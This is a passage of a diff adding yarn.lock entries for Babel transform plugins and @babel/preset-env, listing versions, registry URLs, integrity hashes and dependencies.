+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.25.9.tgz#bad7945dd07734ca52fe3ad4e872b40ed09bb09a"
+  integrity sha512-t7ZQ7g5trIgSRYhI9pIJtRl64KHotutUJsh4Eze5l7olJv+mRSg4/MmbZ0tv1eeqRbdvo/+trvJD/Oc5DmW2cA==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-duplicate-keys@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.25.9.tgz#8850ddf57dce2aebb4394bb434a7598031059e6d"
+  integrity sha512-LZxhJ6dvBb/f3x8xwWIuyiAHy56nrRG3PeYTpBkkzkYRRQ6tJLu68lEF5VIqMUZiAV7a8+Tb78nEoMCMcqjXBw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-duplicate-named-capturing-groups-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-named-capturing-groups-regex/-/plugin-transform-duplicate-named-capturing-groups-regex-7.25.9.tgz#6f7259b4de127721a08f1e5165b852fcaa696d31"
+  integrity sha512-0UfuJS0EsXbRvKnwcLjFtJy/Sxc5J5jhLHnFhy7u4zih97Hz6tJkLU+O+FMMrNZrosUPxDi6sYxJ/EA8jDiAog==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-dynamic-import@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.25.9.tgz#23e917de63ed23c6600c5dd06d94669dce79f7b8"
+  integrity sha512-GCggjexbmSLaFhqsojeugBpeaRIgWNTcgKVq/0qIteFEqY2A+b9QidYadrWlnbWQUrW5fn+mCvf3tr7OeBFTyg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-exponentiation-operator@^7.25.9":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.26.3.tgz#e29f01b6de302c7c2c794277a48f04a9ca7f03bc"
+  integrity sha512-7CAHcQ58z2chuXPWblnn1K6rLDnDWieghSOEmqQsrBenH0P9InCUtOJYD89pvngljmZlJcz3fcmgYsXFNGa1ZQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-export-namespace-from@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.25.9.tgz#90745fe55053394f554e40584cda81f2c8a402a2"
+  integrity sha512-2NsEz+CxzJIVOPx2o9UsW1rXLqtChtLoVnwYHHiB04wS5sgn7mrV45fWMBX0Kk+ub9uXytVYfNP2HjbVbCB3Ww==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-flow-strip-types@^7.16.0":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.25.9.tgz#85879b42a8f5948fd6317069978e98f23ef8aec1"
+  integrity sha512-/VVukELzPDdci7UUsWQaSkhgnjIWXnIyRpM02ldxaVoFK96c41So8JcKT3m0gYjyv7j5FNPGS5vfELrWalkbDA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/plugin-syntax-flow" "^7.25.9"
+
+"@babel/plugin-transform-for-of@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.25.9.tgz#4bdc7d42a213397905d89f02350c5267866d5755"
+  integrity sha512-LqHxduHoaGELJl2uhImHwRQudhCM50pT46rIBNvtT/Oql3nqiS3wOwP+5ten7NpYSXrrVLgtZU3DZmPtWZo16A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+
+"@babel/plugin-transform-function-name@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.25.9.tgz#939d956e68a606661005bfd550c4fc2ef95f7b97"
+  integrity sha512-8lP+Yxjv14Vc5MuWBpJsoUCd3hD6V9DgBon2FVYL4jJgbnVQ9fTgYmonchzZJOVNgzEgbxp4OwAf6xz6M/14XA==
+  dependencies:
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-transform-json-strings@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.25.9.tgz#c86db407cb827cded902a90c707d2781aaa89660"
+  integrity sha512-xoTMk0WXceiiIvsaquQQUaLLXSW1KJ159KP87VilruQm0LNNGxWzahxSS6T6i4Zg3ezp4vA4zuwiNUR53qmQAw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.25.9.tgz#1a1c6b4d4aa59bc4cad5b6b3a223a0abd685c9de"
+  integrity sha512-9N7+2lFziW8W9pBl2TzaNht3+pgMIRP74zizeCSrtnSKVdUl8mAjjOP2OOVQAfZ881P2cNjDj1uAMEdeD50nuQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-logical-assignment-operators@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.25.9.tgz#b19441a8c39a2fda0902900b306ea05ae1055db7"
+  integrity sha512-wI4wRAzGko551Y8eVf6iOY9EouIDTtPb0ByZx+ktDGHwv6bHFimrgJM/2T021txPZ2s4c7bqvHbd+vXG6K948Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-member-expression-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.25.9.tgz#63dff19763ea64a31f5e6c20957e6a25e41ed5de"
+  integrity sha512-PYazBVfofCQkkMzh2P6IdIUaCEWni3iYEerAsRWuVd8+jlM1S9S9cz1dF9hIzyoZ8IA3+OwVYIp9v9e+GbgZhA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-modules-amd@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.25.9.tgz#49ba478f2295101544abd794486cd3088dddb6c5"
+  integrity sha512-g5T11tnI36jVClQlMlt4qKDLlWnG5pP9CSM4GhdRciTNMRgkfpo5cR6b4rGIOYPgRRuFAvwjPQ/Yk+ql4dyhbw==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-modules-commonjs@^7.25.9":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.26.3.tgz#8f011d44b20d02c3de44d8850d971d8497f981fb"
+  integrity sha512-MgR55l4q9KddUDITEzEFYn5ZsGDXMSsU9E+kh7fjRXTIC3RHqfCo8RPRbyReYJh44HQ/yomFkqbOFohXvDCiIQ==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.26.0"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-modules-systemjs@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.25.9.tgz#8bd1b43836269e3d33307151a114bcf3ba6793f8"
+  integrity sha512-hyss7iIlH/zLHaehT+xwiymtPOpsiwIIRlCAOwBB04ta5Tt+lNItADdlXw3jAWZ96VJ2jlhl/c+PNIQPKNfvcA==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-transform-modules-umd@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.25.9.tgz#6710079cdd7c694db36529a1e8411e49fcbf14c9"
+  integrity sha512-bS9MVObUgE7ww36HEfwe6g9WakQ0KF07mQF74uuXdkoziUPfKyu/nIm663kz//e5O1nPInPFx36z7WJmJ4yNEw==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-named-capturing-groups-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.25.9.tgz#454990ae6cc22fd2a0fa60b3a2c6f63a38064e6a"
+  integrity sha512-oqB6WHdKTGl3q/ItQhpLSnWWOpjUJLsOCLVyeFgeTktkBSCiurvPOsyt93gibI9CmuKvTUEtWmG5VhZD+5T/KA==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-new-target@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.25.9.tgz#42e61711294b105c248336dcb04b77054ea8becd"
+  integrity sha512-U/3p8X1yCSoKyUj2eOBIx3FOn6pElFOKvAAGf8HTtItuPyB+ZeOqfn+mvTtg9ZlOAjsPdK3ayQEjqHjU/yLeVQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-nullish-coalescing-operator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.25.9.tgz#bcb1b0d9e948168102d5f7104375ca21c3266949"
+  integrity sha512-ENfftpLZw5EItALAD4WsY/KUWvhUlZndm5GC7G3evUsVeSJB6p0pBeLQUnRnBCBx7zV0RKQjR9kCuwrsIrjWog==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-numeric-separator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.25.9.tgz#bfed75866261a8b643468b0ccfd275f2033214a1"
+  integrity sha512-TlprrJ1GBZ3r6s96Yq8gEQv82s8/5HnCVHtEJScUj90thHQbwe+E5MLhi2bbNHBEJuzrvltXSru+BUxHDoog7Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-object-rest-spread@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.25.9.tgz#0203725025074164808bcf1a2cfa90c652c99f18"
+  integrity sha512-fSaXafEE9CVHPweLYw4J0emp1t8zYTXyzN3UuG+lylqkvYd7RMrsOQ8TYx5RF231be0vqtFC6jnx3UmpJmKBYg==
+  dependencies:
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/plugin-transform-parameters" "^7.25.9"
+
+"@babel/plugin-transform-object-super@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.25.9.tgz#385d5de135162933beb4a3d227a2b7e52bb4cf03"
+  integrity sha512-Kj/Gh+Rw2RNLbCK1VAWj2U48yxxqL2x0k10nPtSdRa0O2xnHXalD0s+o1A6a0W43gJ00ANo38jxkQreckOzv5A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.25.9"
+
+"@babel/plugin-transform-optional-catch-binding@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.25.9.tgz#10e70d96d52bb1f10c5caaac59ac545ea2ba7ff3"
+  integrity sha512-qM/6m6hQZzDcZF3onzIhZeDHDO43bkNNlOX0i8n3lR6zLbu0GN2d8qfM/IERJZYauhAHSLHy39NF0Ctdvcid7g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-optional-chaining@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.25.9.tgz#e142eb899d26ef715435f201ab6e139541eee7dd"
+  integrity sha512-6AvV0FsLULbpnXeBjrY4dmWF8F7gf8QnvTEoO/wX/5xm/xE1Xo8oPuD3MPS+KS9f9XBEAWN7X1aWr4z9HdOr7A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+
+"@babel/plugin-transform-parameters@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.25.9.tgz#b856842205b3e77e18b7a7a1b94958069c7ba257"
+  integrity sha512-wzz6MKwpnshBAiRmn4jR8LYz/g8Ksg0o80XmwZDlordjwEk9SxBzTWC7F5ef1jhbrbOW2DJ5J6ayRukrJmnr0g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-private-methods@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.25.9.tgz#847f4139263577526455d7d3223cd8bda51e3b57"
+  integrity sha512-D/JUozNpQLAPUVusvqMxyvjzllRaF8/nSrP1s2YGQT/W4LHK4xxsMcHjhOGTS01mp9Hda8nswb+FblLdJornQw==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-private-property-in-object@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.25.9.tgz#9c8b73e64e6cc3cbb2743633885a7dd2c385fe33"
+  integrity sha512-Evf3kcMqzXA3xfYJmZ9Pg1OvKdtqsDMSWBDzZOPLvHiTt36E75jLDQo5w1gtRU95Q4E5PDttrTf25Fw8d/uWLw==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-property-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.25.9.tgz#d72d588bd88b0dec8b62e36f6fda91cedfe28e3f"
+  integrity sha512-IvIUeV5KrS/VPavfSM/Iu+RE6llrHrYIKY1yfCzyO/lMXHQ+p7uGhonmGVisv6tSBSVgWzMBohTcvkC9vQcQFA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-react-constant-elements@^7.12.1":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.25.9.tgz#08a1de35a301929b60fdf2788a54b46cd8ecd0ef"
+  integrity sha512-Ncw2JFsJVuvfRsa2lSHiC55kETQVLSnsYGQ1JDDwkUeWGTL/8Tom8aLTnlqgoeuopWrbbGndrc9AlLYrIosrow==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-react-display-name@^7.16.0", "@babel/plugin-transform-react-display-name@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.25.9.tgz#4b79746b59efa1f38c8695065a92a9f5afb24f7d"
+  integrity sha512-KJfMlYIUxQB1CJfO3e0+h0ZHWOTLCPP115Awhaz8U0Zpq36Gl/cXlpoyMRnUWlhNUBAzldnCiAZNvCDj7CrKxQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-react-jsx-development@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.25.9.tgz#8fd220a77dd139c07e25225a903b8be8c829e0d7"
+  integrity sha512-9mj6rm7XVYs4mdLIpbZnHOYdpW42uoiBCTVowg7sP1thUOiANgMb4UtpRivR0pp5iL+ocvUv7X4mZgFRpJEzGw==
+  dependencies:
+    "@babel/plugin-transform-react-jsx" "^7.25.9"
+
+"@babel/plugin-transform-react-jsx@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.25.9.tgz#06367940d8325b36edff5e2b9cbe782947ca4166"
+  integrity sha512-s5XwpQYCqGerXl+Pu6VDL3x0j2d82eiV77UJ8a2mDHAW7j9SWRqQ2y1fNo1Z74CdcYipl5Z41zvjj4Nfzq36rw==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/plugin-syntax-jsx" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/plugin-transform-react-pure-annotations@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.25.9.tgz#ea1c11b2f9dbb8e2d97025f43a3b5bc47e18ae62"
+  integrity sha512-KQ/Takk3T8Qzj5TppkS1be588lkbTp5uj7w6a0LeQaTMSckU/wK0oJ/pih+T690tkgI5jfmg2TqDJvd41Sj1Cg==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-regenerator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.25.9.tgz#03a8a4670d6cebae95305ac6defac81ece77740b"
+  integrity sha512-vwDcDNsgMPDGP0nMqzahDWE5/MLcX8sv96+wfX7as7LoF/kr97Bo/7fI00lXY4wUXYfVmwIIyG80fGZ1uvt2qg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    regenerator-transform "^0.15.2"
+
+"@babel/plugin-transform-regexp-modifiers@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-regexp-modifiers/-/plugin-transform-regexp-modifiers-7.26.0.tgz#2f5837a5b5cd3842a919d8147e9903cc7455b850"
+  integrity sha512-vN6saax7lrA2yA/Pak3sCxuD6F5InBjn9IcrIKQPjpsLvuHYLVroTxjdlVRHjjBWxKOqIwpTXDkOssYT4BFdRw==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-reserved-words@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.25.9.tgz#0398aed2f1f10ba3f78a93db219b27ef417fb9ce"
+  integrity sha512-7DL7DKYjn5Su++4RXu8puKZm2XBPHyjWLUidaPEkCUBbE7IPcsrkRHggAOOKydH1dASWdcUBxrkOGNxUv5P3Jg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-runtime@^7.16.4":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.25.9.tgz#62723ea3f5b31ffbe676da9d6dae17138ae580ea"
+  integrity sha512-nZp7GlEl+yULJrClz0SwHPqir3lc0zsPrDHQUcxGspSL7AKrexNSEfTbfqnDNJUO13bgKyfuOLMF8Xqtu8j3YQ==
+  dependencies:
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    babel-plugin-polyfill-corejs2 "^0.4.10"
+    babel-plugin-polyfill-corejs3 "^0.10.6"
+    babel-plugin-polyfill-regenerator "^0.6.1"
+    semver "^6.3.1"
+
+"@babel/plugin-transform-shorthand-properties@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.25.9.tgz#bb785e6091f99f826a95f9894fc16fde61c163f2"
+  integrity sha512-MUv6t0FhO5qHnS/W8XCbHmiRWOphNufpE1IVxhK5kuN3Td9FT1x4rx4K42s3RYdMXCXpfWkGSbCSd0Z64xA7Ng==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-spread@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.25.9.tgz#24a35153931b4ba3d13cec4a7748c21ab5514ef9"
+  integrity sha512-oNknIB0TbURU5pqJFVbOOFspVlrpVwo2H1+HUIsVDvp5VauGGDP1ZEvO8Nn5xyMEs3dakajOxlmkNW7kNgSm6A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+
+"@babel/plugin-transform-sticky-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.25.9.tgz#c7f02b944e986a417817b20ba2c504dfc1453d32"
+  integrity sha512-WqBUSgeVwucYDP9U/xNRQam7xV8W5Zf+6Eo7T2SRVUFlhRiMNFdFz58u0KZmCVVqs2i7SHgpRnAhzRNmKfi2uA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-template-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.25.9.tgz#6dbd4a24e8fad024df76d1fac6a03cf413f60fe1"
+  integrity sha512-o97AE4syN71M/lxrCtQByzphAdlYluKPDBzDVzMmfCobUjjhAryZV0AIpRPrxN0eAkxXO6ZLEScmt+PNhj2OTw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-typeof-symbol@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.25.9.tgz#224ba48a92869ddbf81f9b4a5f1204bbf5a2bc4b"
+  integrity sha512-v61XqUMiueJROUv66BVIOi0Fv/CUuZuZMl5NkRoCVxLAnMexZ0A3kMe7vvZ0nulxMuMp0Mk6S5hNh48yki08ZA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-typescript@^7.25.9":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.26.3.tgz#3d6add9c78735623317387ee26d5ada540eee3fd"
+  integrity sha512-6+5hpdr6mETwSKjmJUdYw0EIkATiQhnELWlE3kJFBwSg/BGIVwVaVbX+gOXBCdc7Ln1RXZxyWGecIXhUfnl7oA==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/plugin-syntax-typescript" "^7.25.9"
+
+"@babel/plugin-transform-unicode-escapes@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.25.9.tgz#a75ef3947ce15363fccaa38e2dd9bc70b2788b82"
+  integrity sha512-s5EDrE6bW97LtxOcGj1Khcx5AaXwiMmi4toFWRDP9/y0Woo6pXC+iyPu/KuhKtfSrNFd7jJB+/fkOtZy6aIC6Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-unicode-property-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.25.9.tgz#a901e96f2c1d071b0d1bb5dc0d3c880ce8f53dd3"
+  integrity sha512-Jt2d8Ga+QwRluxRQ307Vlxa6dMrYEMZCgGxoPR8V52rxPyldHu3hdlHspxaqYmE7oID5+kB+UKUB/eWS+DkkWg==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-unicode-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.25.9.tgz#5eae747fe39eacf13a8bd006a4fb0b5d1fa5e9b1"
+  integrity sha512-yoxstj7Rg9dlNn9UQxzk4fcNivwv4nUYz7fYXBaKxvw/lnmPuOm/ikoELygbYq68Bls3D/D+NBPHiLwZdZZ4HA==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-unicode-sets-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.25.9.tgz#65114c17b4ffc20fa5b163c63c70c0d25621fabe"
+  integrity sha512-8BYqO3GeVNHtx69fdPshN3fnzUNLrWdHhk/icSwigksJGczKSizZ+Z6SBCxTs723Fr5VSNorTIK7a+R2tISvwQ==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/preset-env@^7.11.0", "@babel/preset-env@^7.12.1", "@babel/preset-env@^7.16.4":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.26.0.tgz#30e5c6bc1bcc54865bff0c5a30f6d4ccdc7fa8b1"
+  integrity sha512-H84Fxq0CQJNdPFT2DrfnylZ3cf5K43rGfWK4LJGPpjKHiZlk0/RzwEus3PDDZZg+/Er7lCA03MVacueUuXdzfw==
+  dependencies:
+    "@babel/compat-data" "^7.26.0"
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-validator-option" "^7.25.9"
+    "@babel/plugin-bugfix-firefox-class-in-computed-class-key" "^7.25.9"
+    "@babel/plugin-bugfix-safari-class-field-initializer-scope" "^7.25.9"
+    "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression" "^7.25.9"
+    "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining" "^7.25.9"
+    "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly" "^7.25.9"
+    "@babel/plugin-proposal-private-property-in-object" "7.21.0-placeholder-for-preset-env.2"
+    "@babel/plugin-syntax-import-assertions" "^7.26.0"
+    "@babel/plugin-syntax-import-attributes" "^7.26.0"
+    "@babel/plugin-syntax-unicode-sets-regex" "^7.18.6"
+    "@babel/plugin-transform-arrow-functions" "^7.25.9"
+    "@babel/plugin-transform-async-generator-functions" "^7.25.9"
+    "@babel/plugin-transform-async-to-generator" "^7.25.9"
+    "@babel/plugin-transform-block-scoped-functions" "^7.25.9"
+    "@babel/plugin-transform-block-scoping" "^7.25.9"
+    "@babel/plugin-transform-class-properties" "^7.25.9"
+    "@babel/plugin-transform-class-static-block" "^7.26.0"
+    "@babel/plugin-transform-classes" "^7.25.9"
+    "@babel/plugin-transform-computed-properties" "^7.25.9"
+    "@babel/plugin-transform-destructuring" "^7.25.9"
+    "@babel/plugin-transform-dotall-regex" "^7.25.9"
+    "@babel/plugin-transform-duplicate-keys" "^7.25.9"
+    "@babel/plugin-transform-duplicate-named-capturing-groups-regex" "^7.25.9"
+    "@babel/plugin-transform-dynamic-import" "^7.25.9"
+    "@babel/plugin-transform-exponentiation-operator" "^7.25.9"
+    "@babel/plugin-transform-export-namespace-from" "^7.25.9"
+    "@babel/plugin-transform-for-of" "^7.25.9"
+    "@babel/plugin-transform-function-name" "^7.25.9"
+    "@babel/plugin-transform-json-strings" "^7.25.9"
+    "@babel/plugin-transform-literals" "^7.25.9"
+    "@babel/plugin-transform-logical-assignment-operators" "^7.25.9"
+    "@babel/plugin-transform-member-expression-literals" "^7.25.9"
+    "@babel/plugin-transform-modules-amd" "^7.25.9"
+    "@babel/plugin-transform-modules-commonjs" "^7.25.9"
